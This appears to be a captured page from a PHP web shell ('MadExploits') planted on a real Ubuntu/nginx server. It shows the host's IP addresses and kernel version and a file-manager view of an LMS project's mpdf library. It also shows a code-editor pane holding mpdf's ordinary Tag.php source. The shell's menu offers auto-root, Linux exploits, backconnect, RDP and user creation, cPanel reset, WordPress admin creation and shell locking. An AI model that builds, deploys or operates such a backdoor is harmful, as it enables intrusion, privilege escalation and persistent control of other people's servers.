Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.52
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
vendor /
mpdf /
mpdf /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Barcode
[ DIR ]
drwxrwxr-x
Color
[ DIR ]
drwxrwxr-x
Config
[ DIR ]
drwxrwxr-x
Container
[ DIR ]
drwxrwxr-x
Conversion
[ DIR ]
drwxrwxr-x
Css
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
File
[ DIR ]
drwxrwxr-x
Fonts
[ DIR ]
drwxrwxr-x
Gif
[ DIR ]
drwxrwxr-x
Http
[ DIR ]
drwxrwxr-x
Image
[ DIR ]
drwxrwxr-x
Language
[ DIR ]
drwxrwxr-x
Log
[ DIR ]
drwxrwxr-x
Output
[ DIR ]
drwxrwxr-x
Pdf
[ DIR ]
drwxrwxr-x
Shaper
[ DIR ]
drwxrwxr-x
Tag
[ DIR ]
drwxrwxr-x
Utils
[ DIR ]
drwxrwxr-x
Writer
[ DIR ]
drwxrwxr-x
AssetFetcher.php
3.54
KB
-rw-rw-r--
Barcode.php
5.92
KB
-rw-rw-r--
Cache.php
2.32
KB
-rw-rw-r--
CssManager.php
76.41
KB
-rw-rw-r--
DirectWrite.php
14.58
KB
-rw-rw-r--
Form.php
67.39
KB
-rw-rw-r--
FpdiTrait.php
11.59
KB
-rw-rw-r--
Gradient.php
34.06
KB
-rw-rw-r--
HTMLParserMode.php
731
B
-rw-rw-r--
Hyphenator.php
4.97
KB
-rw-rw-r--
Mpdf.php
938.82
KB
-rw-rw-r--
MpdfException.php
73
B
-rw-rw-r--
MpdfImageException.php
82
B
-rw-rw-r--
Otl.php
248.46
KB
-rw-rw-r--
OtlDump.php
163.1
KB
-rw-rw-r--
PageBox.php
1.02
KB
-rw-rw-r--
PageFormat.php
2.33
KB
-rw-rw-r--
ServiceFactory.php
5.79
KB
-rw-rw-r--
SizeConverter.php
3.31
KB
-rw-rw-r--
Strict.php
1.5
KB
-rw-rw-r--
TTFontFile.php
169.31
KB
-rw-rw-r--
TTFontFileAnalysis.php
14.22
KB
-rw-rw-r--
TableOfContents.php
32.67
KB
-rw-rw-r--
Tag.php
7.23
KB
-rw-rw-r--
Ucdn.php
128.86
KB
-rw-rw-r--
Watermark.php
49
B
-rw-rw-r--
WatermarkImage.php
1.17
KB
-rw-rw-r--
WatermarkText.php
887
B
-rw-rw-r--
functions-dev.php
165
B
-rw-rw-r--
functions.php
521
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Tag.php
<?php namespace Mpdf; use Mpdf\Strict; use Mpdf\Color\ColorConverter; use Mpdf\Image\ImageProcessor; use Mpdf\Language\LanguageToFontInterface; class Tag { use Strict; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Cache */ private $cache; /** * @var \Mpdf\CssManager */ private $cssManager; /** * @var \Mpdf\Form */ private $form; /** * @var \Mpdf\Otl */ private $otl; /** * @var \Mpdf\TableOfContents */ private $tableOfContents; /** * @var \Mpdf\SizeConverter */ private $sizeConverter; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; /** * @var \Mpdf\Image\ImageProcessor */ private $imageProcessor; /** * @var \Mpdf\Language\LanguageToFontInterface */ private $languageToFont; /** * @param \Mpdf\Mpdf $mpdf * @param \Mpdf\Cache $cache * @param \Mpdf\CssManager $cssManager * @param \Mpdf\Form $form * @param \Mpdf\Otl $otl * @param \Mpdf\TableOfContents $tableOfContents * @param \Mpdf\SizeConverter $sizeConverter * @param \Mpdf\Color\ColorConverter $colorConverter * @param \Mpdf\Image\ImageProcessor $imageProcessor * @param \Mpdf\Language\LanguageToFontInterface $languageToFont */ public function __construct( Mpdf $mpdf, Cache $cache, CssManager $cssManager, Form $form, Otl $otl, TableOfContents $tableOfContents, SizeConverter $sizeConverter, ColorConverter $colorConverter, ImageProcessor $imageProcessor, LanguageToFontInterface $languageToFont ) { $this->mpdf = $mpdf; $this->cache = $cache; $this->cssManager = $cssManager; $this->form = $form; $this->otl = $otl; $this->tableOfContents = $tableOfContents; $this->sizeConverter = $sizeConverter; $this->colorConverter = $colorConverter; $this->imageProcessor = $imageProcessor; $this->languageToFont = $languageToFont; } /** * @param string $tag The tag name * @return \Mpdf\Tag\Tag */ private function getTagInstance($tag) { $className = self::getTagClassName($tag); if (class_exists($className)) { return new $className( $this->mpdf, $this->cache, $this->cssManager, $this->form, $this->otl, $this->tableOfContents, $this->sizeConverter, $this->colorConverter, $this->imageProcessor, $this->languageToFont ); } } /** * Returns the fully qualified name of the class handling the rendering of the given tag * * @param string $tag The tag name * @return string The fully qualified name */ public static function getTagClassName($tag) { static $map = [ 'BARCODE' => 'BarCode', 'BLOCKQUOTE' => 'BlockQuote', 'COLUMN_BREAK' => 'ColumnBreak', 'COLUMNBREAK' => 'ColumnBreak', 'DOTTAB' => 'DotTab', 'FIELDSET' => 'FieldSet', 'FIGCAPTION' => 'FigCaption', 'FORMFEED' => 'FormFeed', 'HGROUP' => 'HGroup', 'INDEXENTRY' => 'IndexEntry', 'INDEXINSERT' => 'IndexInsert', 'NEWCOLUMN' => 'NewColumn', 'NEWPAGE' => 'NewPage', 'PAGEFOOTER' => 'PageFooter', 'PAGEHEADER' => 'PageHeader', 'PAGE_BREAK' => 'PageBreak', 'PAGEBREAK' => 'PageBreak', 'SETHTMLPAGEFOOTER' => 'SetHtmlPageFooter', 'SETHTMLPAGEHEADER' => 'SetHtmlPageHeader', 'SETPAGEFOOTER' => 'SetPageFooter', 'SETPAGEHEADER' => 'SetPageHeader', 'TBODY' => 'TBody', 'TFOOT' => 'TFoot', 'THEAD' => 'THead', 'TEXTAREA' => 'TextArea', 'TEXTCIRCLE' => 'TextCircle', 'TOCENTRY' => 'TocEntry', 'TOCPAGEBREAK' => 'TocPageBreak', 'VAR' => 'VarTag', 'WATERMARKIMAGE' => 'WatermarkImage', 'WATERMARKTEXT' => 'WatermarkText', ]; $className = 'Mpdf\Tag\\'; $className .= isset($map[$tag]) ? $map[$tag] : ucfirst(strtolower($tag)); return $className; } public function OpenTag($tag, $attr, &$ahtml, &$ihtml) { // Correct for tags where HTML5 specifies optional end tags excluding table elements (cf WriteHTML() ) if ($this->mpdf->allow_html_optional_endtags) { if (isset($this->mpdf->blk[$this->mpdf->blklvl]['tag'])) { $closed = false; // li end tag may be omitted if immediately followed by another li element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'LI' && $tag == 'LI') { $this->CloseTag('LI', $ahtml, $ihtml); $closed = true; } // dt end tag may be omitted if immediately followed by another dt element or a dd element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'DT' && ($tag == 'DT' || $tag == 'DD')) { $this->CloseTag('DT', $ahtml, $ihtml); $closed = true; } // dd end tag may be omitted if immediately followed by another dd element or a dt element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'DD' && ($tag == 'DT' || $tag == 'DD')) { $this->CloseTag('DD', $ahtml, $ihtml); $closed = true; } // p end tag may be omitted if immediately followed by an address, article, aside, blockquote, div, dl, // fieldset, form, h1, h2, h3, h4, h5, h6, hgroup, hr, main, nav, ol, p, pre, section, table, ul if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'P' && ($tag == 'P' || $tag == 'DIV' || $tag == 'H1' || $tag == 'H2' || $tag == 'H3' || $tag == 'H4' || $tag == 'H5' || $tag == 'H6' || $tag == 'UL' || $tag == 'OL' || $tag == 'TABLE' || $tag == 'PRE' || $tag == 'FORM' || $tag == 'ADDRESS' || $tag == 'BLOCKQUOTE' || $tag == 'CENTER' || $tag == 'DL' || $tag == 'HR' || $tag == 'ARTICLE' || $tag == 'ASIDE' || $tag == 'FIELDSET' || $tag == 'HGROUP' || $tag == 'MAIN' || $tag == 'NAV' || $tag == 'SECTION')) { $this->CloseTag('P', $ahtml, $ihtml); $closed = true; } // option end tag may be omitted if immediately followed by another option element // (or if it is immediately followed by an optgroup element) if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'OPTION' && $tag == 'OPTION') { $this->CloseTag('OPTION', $ahtml, $ihtml); $closed = true; } // Table elements - see also WriteHTML() if (!$closed && ($tag == 'TD' || $tag == 'TH') && $this->mpdf->lastoptionaltag == 'TD') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && ($tag == 'TD' || $tag == 'TH') && $this->mpdf->lastoptionaltag == 'TH') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TR') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TD') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $this->CloseTag('TR', $ahtml, $ihtml); $this->CloseTag('THEAD', $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TH') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $this->CloseTag('TR', $ahtml, $ihtml); $this->CloseTag('THEAD', $ahtml, $ihtml); $closed = true; } // *TABLES* } } if ($object = $this->getTagInstance($tag)) { return $object->open($attr, $ahtml, $ihtml); } } public function CloseTag($tag, &$ahtml, &$ihtml) { if ($object = $this->getTagInstance($tag)) { return $object->close($ahtml, $ihtml); } } }
Close